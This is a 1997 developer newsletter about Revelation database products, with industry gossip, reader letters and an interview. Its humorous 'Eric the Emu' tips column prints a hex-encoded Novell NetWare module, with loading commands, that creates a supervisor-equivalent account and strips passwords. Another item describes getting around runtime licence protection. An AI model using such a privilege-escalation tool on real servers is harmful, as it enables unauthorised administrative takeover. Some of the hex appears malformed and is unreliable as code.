

SPREZZATURA

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SEN

April 1997

Sprezzatura's Electronic Newsletter

For Revelation developers by Revelation developers

MAKING DATABASES HAPPEN

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Welcome

We're having a very active time at Sprezzatura so I'm afraid that this SENL will be a little briefer than usual! Needless to say this is good news for all who work here but sometimes it seems that the office just isn't big enough! Fortunately four people are out on site pretty much full time now so....

We are continuing to have delivery problems with a significant percentage of our internet clients finding that packets are dropped when SENL is delivered. Now, the way we deliver is via Compuserve - we can't deliver via our ISP as CSi blocks what it sees as spam mail. Funnily enough, nearly all of the CSi messages get through fine, problems being reserved for external service providers. CSi say that it is the fault of the ISP's mailgate. We don't know what to think. If your SENL contains dropped characters, then please let us know and more importantly let us know what Newsreader you are using.

As a side issue, people have asked what the difference between a "Welcome" and a "Ramble" is? Simply put, if it is relevant to the Rev Community as a whole it goes into Ramble, if it is purely Sprezz related it goes into Welcome.

As we go to press we are finally having the latest batch of sweatshirts done. These will be awarded to people making significant contributions to the SENL (or occasionally to the on-line community as a whole). So get sending in those articles and let the several hundred subscribers out there benefit from your wisdom!

Finally a brief note of thanks to all of you who've said such flattering things about SENL. We're proud to be part of this community and we're grateful to the community for the support they've given us, helping us to remain the best European providers of RevSoft related services. Thank YOU!

Oh yes, disclaimer time. The Eric The Emu article on Novell security is not supported by anyone! Use at your own risk! Even better upgrade your Novell so it doesn't work!

This issue marks a departure from normal style in that it doesn't carry a gratuitous plug for ANY Sprezzatura product or service! Normal service will be resumed ASAP! We've scratched the "Ask Sprezz" section as it isn't being used... <sob, sob>

Andrew P McAuley
Publisher

Ramblings

Surreal corner - I've been reading the docs accompanying the Q1 Works CD (I told you we'd order it when it came out!) and was pleasantly surprised by the light writing style. Mind you I bet that not

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many developers realised that linking two Windows using the new HTML scripting tool was "a triangular stand for a pot or kettle". Well, that's the definition of trivet in my dictionary and apparently the process is "close to trivial".

Rumours continue to abound that Ceridian and Peterborough - RevSoft's largest two clients - are moving away to other environments. These rumours have been circulating for nearly as long as OpenInsight has been available but it seems that the next two years might see them come to fruition. Perhaps any moles within these organisations would care to comment? Personally I'm not too bothered either way as several REALLY good things have happened on the financial side at RevSoft this year.

RevSoft is now almost completely Employee owned - in other words, the Venture Capitalists who had been helping to fund the the company have been bought out. This obviously leaves the company more free to follow its vision. Hopefully that vision is the same as that shared by the developer base - to deliver a product which enables us to deliver the sort of product our customers want.

Revsoft have just had their most profitable quarter since they split from the Human Resources division. Now detractors will immediately scoff and ask how that is possible. Well, from what I can glean, it is actually true. Various business circumstances have conspired to make this the case. In addition, last quarter was the most profitable since the split before this quarter. Whether you ought to judge a company's viability by its profitability is a moot point for me. It is redolent of a short-termist attitude that places NOW over any structured future. For example, if RevSoft were only marginally profitable for a year whilst developing a new killer environment, I'm sure I'd prefer that to them making millions every quarter for the next year, then JA walking off into the sunset with the profit leaving the developer base without a future direction. Whatever, these issues are frequently important to management so ...

The OpenInsight Works program is settling in and after consideration I have to come down in favour of it. You see, it may cost an arm and a leg per developer BUT upgrades to users are free. Previously we had to charge our clients to move between upgrades other than marginal ones. So all in all, Works seems to be a good thing. The only seriously bad thing about is can best be summed up by a subscriber as follows

+++

"On the upgrades thing, what RevSoft is forgetting is the cost of upgrading existing applications in the field. It's not the raw cost of the upgrade itself. Consider the following assumptions & scenario:

1. A change in the base development platform constitutes a change in the base line of the product which requires a QC of the application.

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2. A QC of a large application can take two months, including the field test of an accounting system including 2 business accounting periods. Add any adjustments required as well (Ideally this is zero.<g>)

3. The incremental patches fixes and upgrades from RevSoft are quarterly.

Conclusion:

The developer can spend all of their production time adding and maintaining the OI base platform which severely compromises application development.

Solution:

Select to implement the upgrades on a strict "as needed for business" basis and implement patches or work-arounds when cost effective and practical."

+++

I'd have to agree that upgrades every six months might thus be better BUT with individually installable patches and features. I know that this would require more effort to create but it could ultimately be useful!

As a side issue, unless specifically requested we don't identify writers where the content might be viewed as contentious! <g>

An interesting problem arose at one of my client sites a few weeks ago caused by a less experienced Revsoft sales person misunderstanding RevSoft policy. Essentially my client is deploying on OI 3.3 with Windows 95. Now all of the sites were originally deployed and bumped at an earlier version so they didn't have the NPP installed. As they were experiencing GFEs I suggested that they install the NPP at each site and so they approached RevSoft in the UK about costings. They were told that each of their sites would have to pay around \$450 for a server NPP. As they have in excess of 50 this was not a cheap option!

We queried this, as the lan pack for 3.3 ought to include the NPP as standard, otherwise the product as sold would not run on Windows 95! It transpired that this was all due to a misunderstanding and that the client wouldn't have to pay anything! The only ones who have to pay for NPPs are users of earlier versions of OI or AREV. For clarification on this check with your local RevSoft salesperson.

This in turn lead to another related problem. The client uses the @Station variable to perform Novell "SENDS" to other users, and for various other tasks. The problem was that with the NPP on 95, you don't get a traditional @Station, you get the Windows 95 workstation name! We had to go to some

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lengths to get around this, but with the timely intervention of the Novell SDK, ferreting around by Carl and pointers from Pat McNerthney we were able to create a routine to set @station to its old value! If the subroutine would be of use to you send blank cheques and/or requests to AMcA@Sprezzatura.Com.

Another subscriber writes

"I was interested to read in the SENL Volume 1 number 3 about JA / AREV - the inception of Java with OI's LH engine. Does this imply that there will be a new OI repository called HASH_COOKIES?"

Regards,

Eric the Emu.

(soon to have an internet presence <g> - stay tuned)"

For those of you who don't get the drug reference, licking Emus causes hallucinogenic responses - or something like that...

Perhaps we ought to create a letters section instead of just rambling? Anyway Greg Helland from T L Creates (who I'm sure used to have a Pelican on their logo - why? <g>) writes

+++

"I don't know if any of your contacts have run into this fun problem with OI yet but I think that it is worth mentioning.

If you have deployed systems at customer sites using the runtime engine that is created during a deployment, there is no way to update a dictionary item in that system. As an example, you have an application that is installed at numerous sites and you find a dictionary item that is incorrect. (OK,OK, it's probably just us here at T.L. Creates, inc. that make mistakes but my suspicion is that at least one other developer has made a mistake in a symbolic!) Well, in the old REV G and AREV days of runtime systems, you could just send out an update disk that programmatically wrote out the dictionary correction and you were done with it. No magic, just like updating a program that has an error.

So along come OI and their "licensing" strategy which says that a runtime cannot change dictionary items. I can agree with not allowing a runtime system to have access to the editor or table builder so that new dictionary items are not created without paying for a development system. I do not agree with the fact that when you try to write over an existing dictionary item or add a new dictionary item due to errors or new functionality you are forbidden from doing so because it "violates" the licensing.

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Unfortunately I and my staff are not perfect coders first time around. We find that users come up with unthinkable ways of using an application. As is so aptly stated in Murphys Law, the fourth corollary, "It is IMPOSSIBLE to make anything foolproof, since fools are so ingenious!" As a matter of fact, if RevSoft was limited by the same type of arbitrary licensing we would never have to get upgrades and fixes from them because they would have coded the system properly first time around.

You could overwrite a complete dictionary in an update but there goes any indexes and control parameters that might be in the dictionary thereby making the application unusable.

Well, I hope that my calls, emails, etc. to Kurt Baker and others at RevSoft have make the point so that they change their policy but who knows. I have been writing applications in Rev products since 1983 and still love the environment, even in OI. But some things like their upgrade policies and licensing policies still drive me crazy.

Hope this is helpful to other developers that make mistakes, although they must be few.

Sincerely,

Greg Helland
President
T.L. Creates, inc."

+++

Well the good news Greg is that there is a VERY simple solution to your problem! Move to Delphi - it doesn't have dictionary items! <bwg> (And before you pedants start... I know it has pseudo dictionary thingies). No, the really simple fix is just to strip DICT.MFS from the file handle and write back using this file handle. This by-passes the protection enforced by DICT.MFS and unless you are changing SYSTEM dictionary items there would seem to be no licence violation. Ok, you have to do your own upgrade program but no sweat to a non-quiche eating developer!

This actually put me in mind (along with recent discussions with Dave Sigafos (the original Foo Fighter)) of a horrible kludge we used to do with AREV runtimes - when stuck on site without a development copy, create a symbolic in the dict of VOC using the editor and Ctrl-E in field 8. Put an ENTIRE program in field 8 - open a file, select, readnext etc etc and then just save and LIST 1 VOC.

And you wonder why AREV has such a fanatically loyal user base!

CELEBRITY INTERVIEW - Cameron Purdy

<<Who are you? (Name, married, single, male, age etc etc)>>

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Cameron Purdy, MWM, 25

<<Who do you work for?>>

Revelation Software

<<What is your role in the RevSoft community?>>

Developer of OpenInsight/Technical Evangelist

<<How long have you been involved with RevSoft?>>

3 years at RevSoft, 3 years developing in Arev before that

<<Which products do you use?>>

Primarily I work in OpenInsight for Workgroups

I also use:

- Advanced Revelation
- Revelation network products (NLM, NPP, NT Service)

<<What do you most like about RevSoft products?>>

The power of the simplicity of the underlying architecture.

<<What do you most dislike about RevSoft products?>>

The parts that don't use and/or expose the power of the simplicity of the underlying architecture.

<<If you HAD to use another database what would it be and why?>>

SQL Server. No other relational database comes close.

<<What are your favourite 3 books and why?>>

Crime and Punishment - there will always be hope for humanity

Collected Poems of TS Eliot - I can almost understand what he is saying

The Bible - faith is the substance of things hoped for and the evidence of things not seen

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<<What are your favourite 3 CDs/Albums and why?>>

U2 (all of their CD's) - I enjoy the sound

Sting, The Soul Cages - I enjoy the story

Duran Duran, Ordinary World - because it is

<<What are your three favourite films and why?>>

Star Trek II, The Wrath of Khan - because it was everything that was good about Star Trek in one movie

Monty Python, The Search for the Holy Grail - because it is still very funny the fiftieth time you watch it

Schindler's List - because it is a picture of the best and worst of humanity, and how easily we change from one to the other

A Roman Holiday - (or was it A European Vacation?) the one with the princess and all that ... it was a nice story

When Harry Met Sally - I like HCJr's music, and the movie was very humorous

("Three, sire." "Yes, three.")

<<What event in history would you most like to have been present at?>>

That is a difficult question. I'd have to say the resurrection, although I can think of quite a few others:

- The beginning of the world
- The great flood (assuming I can ride on the boat)
- The rise of Babylon
- The Trojan war (or perhaps "The face that launched a thousand ships")
- The death of Socrates
- The burning of Rome, also the death of Caesar
- Hannibal, elephants, Alps, etc.

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- The rise of Constantine
- The voyages of Erik and Son, Ltd.
- The children's crusade (it seemed so obviously stupid!)
- Camelot (it is a silly place)
- The expedition of Marco Polo
- The expeditions of Cortez, de Gama, et al
- The death of Christopher Marlowe
- The voyage of Magellan
- The French Revolution
- Waterloo
- The murder of Rasputin (quite an interesting story)
- Man's first step on the moon
- The overwhelming election defeat of John Major's Conservative Party in favor of an autonomous commune

<<Who is the best president/prime minister we never had and why?>>

I told you, this is an autonomous commune.

<<Your motto/witty aphorism>>

Begin with the end in mind.

ERIC THE EMU'S AREV TIPS

In the aftermath of the last article, I was informed that the published SETCPU routine was good for AREV 3.12 as well as 2.12, but not for 2.0x or earlier. This peeved some of you, who like me, still use AREV 1.1 religiously on a daily basis. You were also, like, looking for an excuse to charge clients for an upgrade to the WHO window, (attached to the Utilities menus of the very finest AREV software).

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Here's a SETCPU routine good for *all* versions of AREV. This version doesn't improve performance either. Note the syntax is different.

```
DECLARE SUBROUTINE SETCPU (@CPU.TYPE, NEWVALUE)
which in hex translates to:
0200000000000000000000000000000000EB0B90000000
0000000000000000000002E803E05000275618C
CA8EDA8EC2B80013BA01002EFF1E0A00
2E890E1700B80013BA02002EFF1E0A00
2E890E190036A1CC072E3B0617007509
2EA1190036A3CC07CB36A1CE072E3B06
170075092EA1190036A3CE07CB36A1D0
072E3B06170075082EA1190036A3D007
CB\
```

You may be aware that the tyrannical editor of this scurrilous publication disables his secretary's CD ROM based upon her arrival time at work. Late start, no CD ROM games. (Ed - I wish. Anyone knowing of such a utility, especially one that tracks usage please contact me!) Well, revenge is indeed sweet! In this issue's Eric's Tips Column, by popular demand, the editor has insisted I write a piece on breaking into a Novell 3.12 server to regain supervisor privileges, armed with only an AREV brick.

How could I resist the challenge?

First, I had to find a backdoor in Novell 3.12. I recall, if you type "userlist" while logged in at a workstation, you'll see the list of all used connections, starting at number one and finishing somewhere under the maximum licensed number of users. Being an emu, I could see the hack a mile away. I decided to investigate connection zero to see what special features this would enable. From a workstation, a login under connection zero doesn't work, but I soon decided that the back door might be via the file server console itself, which *could* logically be connection number zero. We'd have to use an NLM, not an EXE, and we'd have to leave one unclosed server resource, a connection for workstation zero.

However, this shouldn't matter too much, provided we reset our password and supervisor access (and the reset file server soon thereafter)..

The catch is we'll have to write our own ERICEMU.NLM. Fortunately, this task is one for which AREV is ideally suited, (reference: AREV Value Added Re-seller's Gold User Advantage Bump Program Unlimited License Lotus Development Partner's Premium Technical Bulletin Developer's CD Manual article on "RBASIC COMPILER Switches for Novell NLM Compilation and Oriental Cures for Genital Herpes" pg. 1145 / section ZP-42).

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A word of warning - this routine obviously has not been tested widely, and is not sanctioned by Novell, RevSoft, Sprezzatura secretarial staff, or anyone other than the editor of this publication, who cannot release this newsletter until Eric the Emu finds his way back into Sprezzatura's Novell 3.12 file server. (Ed- and you wonder why we're just going NT internally).

First step is to edit and run the following programs from AREV (on a local hard disk, the editor insists), and copy the resulting ERICEMU.NLM from the revboot directory to your freshly formatted ERICEMU floppy diskette.

```

SUBROUTINE ERICEMU
ERIC = \4E657457617265204C6F616461626C65\
ERIC := \204D6F64756C651A040000000B455249\
ERIC := \43454D552E4E4C4D0000E2000000E801\
ERIC := \000CA02000A801000000000007D06\
ERIC := \000000000007D060000000000007204\
ERIC := \000015000000C6040000100000007D06\
ERIC := \000000000007D06000000000000000\
ERIC := \000040000000000000000000000000\
ERIC := \00003F45524943454D55202D20437265\
ERIC := \6174652073757065727669736F722075\
ERIC := \7365722E2020202020202020202020\
ERIC := \202020202020202020202020202020\
ERIC := \202000020000000000000204C4F4E47\
ERIC := \0744656661756C74000765726963656D\
ERIC := \75005589E568320000068A401000FF\
ERIC := \7528FF7524FF7520FF751CFF7518FF75\
ERIC := \14FF7510FF750CFF7508E8FCFFFFFF83\
ERIC := \C42CC9C3685300000E8FCFFFFFF83C4\
ERIC := \04C36A056A00FF35A401000E8FCFFFF\
ERIC := \FF83C40CC350B82400000E8FCFFFFFF\
ERIC := \58535589E550B8040000050E8FCFFFF\
ERIC := \FF83C404B8390000050E8FCFFFFFF83\
ERIC := \C4046AFFE8FCFFFFFF83C4048945FC6A\
ERIC := \00E8FCFFFFFF83C4046A00E8FCFFFFFF\
ERIC := \83C4048B45108B5804837D0C010F8E08\
ERIC := \010000B831000005031C050B801000\
ERIC := \005053E8FCFFFFFF83C41085C0751153\
ERIC := \B8620000050E8FCFFFFFF83C408EB0F\
ERIC := \53B8770000050E8FCFFFFFF83C408B8\
ERIC := \320000050B8020000050B89000000\
ERIC := \50B801000005053E8FCFFFFFF83C414\
ERIC := \B8010000050B8A00000050B8AB000\
ERIC := \0050B801000005053E8FCFFFFFF83C4\
ERIC := \1485C07510B8BB0000050E8FCFFFFFF\
ERIC := \83C404EB0EB8DC0000050E8FCFFFFFF\

```

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ERIC := \83C404B80501000050B80501000050B8\
ERIC := \010000005053E8FCFFFFFFF83C41085C0\
ERIC := \7510B80601000050E8FCFFFFFFF83C404\
ERIC := \EB47B80501000050B8010000005053E8\
ERIC := \FCFFFFFFF83C40C85C07510B822010000\
ERIC := \50E8FCFFFFFFF83C404EB1EB84B010000\
ERIC := \50E8FCFFFFFFF83C404EB0EB870010000\
ERIC := \50E8FCFFFFFFF83C4046A018D45FC50E8\
ERIC := \FCFFFFFFF83C408E8FCFFFFFFF50E8FCFF\
ERIC := \FFFF83C40431C0C95BC3520000004552\
ERIC := \4943454D55202D204372656174652073\
ERIC := \757065727669736F7220657175697661\
ERIC := \6C656E742075736572206163636F756E\
ERIC := \740A0020202020202020202020202020\
ERIC := \20202020202020202020202020202020\
ERIC := \20202020202020202020200A004E657720\
ERIC := \7573657220257320637265617465640A\
ERIC := \005573657220257320616C6C72656164\
ERIC := \79206578697374730A00534543555249\
ERIC := \54595F455155414C5300535550455256\
ERIC := \49534F520053454355524954595F4551\
ERIC := \55414C530055736572206D6164652073\
ERIC := \757065727669736F7220657175697661\
ERIC := \6C656E740A0055736572207761732061\
ERIC := \6C6C7265616479207375706572766973\
ERIC := \6F72206571756976616C656E740A0000\
ERIC := \50617373776F72642072656D6F766564\
ERIC := \2066726F6D20757365720A0050617373\
ERIC := \776F72642077617320616C6C72656164\
ERIC := \792072656D6F7665642066726F6D2075\
ERIC := \7365720A00436F756C64206E6F742072\
ERIC := \656D6F76652070617373776F72642066\
ERIC := \726F6D20757365720A00202020202020\
ERIC := \202020204552524F523A20557365726E\
ERIC := \616D65206D697373696E672066726F6D\
ERIC := \20636F6D6D616E646C696E650A000000\
ERIC := \0000BA010040AA0100409A0100408101\
ERIC := \00407101004058010040520100404401\
ERIC := \0040340100401B01004015010040FA00\
ERIC := \0040E0000040CF000040730000406500\
ERIC := \00400000008046000040330000C00900\
ERIC := \0040040000C00D5F5465726D696E6174\
ERIC := \654E4C4D010000004B000040095F5374\
ERIC := \6172744E4C4D01000000290000400A5F\
ERIC := \53657475704172677601000000380000\
ERIC := \401B56657269667942696E646572794F\
ERIC := \626A65637450617373776F7264010000

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```
ERIC := \008E0100400E43726561746550726F70\
ERIC := \6572747901000000701004013437265\
ERIC := \61746542696E646572794F626A656374\
ERIC := \01000000C20000401B4368616E676542\
ERIC := \696E646572794F626A65637450617373\
ERIC := \776F7264010000006501004015416464\
ERIC := \42696E646572794F626A656374546F53\
ERIC := \65740100000028010040055F5F53544B\
ERIC := \010000005A0000400E53657443757272\
ERIC := \656E745461736B010000008300004014\
ERIC := \53657443757272656E74436F6E6E6563\
ERIC := \74696F6E010000009000004014536574\
ERIC := \4374726C43686172436865636B4D6F64\
ERIC := \65010000009A0000401052657475726E\
ERIC := \436F6E6E656374696F6E01000000DC01\
ERIC := \00401252657475726E426C6F636B4F66\
ERIC := \5461736B7301000000CE010040067072\
ERIC := \696E74660A000000C0010040B0010040\
ERIC := \A0010040770100404A0100403A010040\
ERIC := \E6000040D5000040790000406B000040\
ERIC := \1447657443757272656E74436F6E6E65\
ERIC := \6374696F6E01000000D6010040\
PCPERFORM "REM > ERICEMU.NLM"
OSOPEN 'ERICEMU.NLM' TO HANDLE THEN
OSWRITE ERIC TO HANDLE
END
```

Then, at the (fortuitously unlocked) file server console A: drive, insert the ERICEMU floppy, and enter the commands:

```
LOAD CLIB.NLM
```

```
LOAD A:\ERICEMU.NLM ERICEMU
```

Ignore any messages (they don't matter here, unless CLIB isn't found in which case Novell has been probably giving you grief) And then from a workstation log in as ERICEMU with supervisor privileges from a workstation, restore your true supervisor password and privileges with SYSCON.EXE, log out, then DOWN and restart the server immediately..

Sure as hell ain't Access...

Eric the Emu

(Novell CNE - recently disqualified for life)

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April 31st, 1997.

Peripheral Trivia

As this issue of S/ENL was put to bed we fed the inner man with:

- TV :Too busy!
- Book:"Confessions of an Irish Rebel" - Brendan Behan.
- CD:"The New World Order" - Poor Righteous Teachers
- WEB:www.revelation.com (sad but true)

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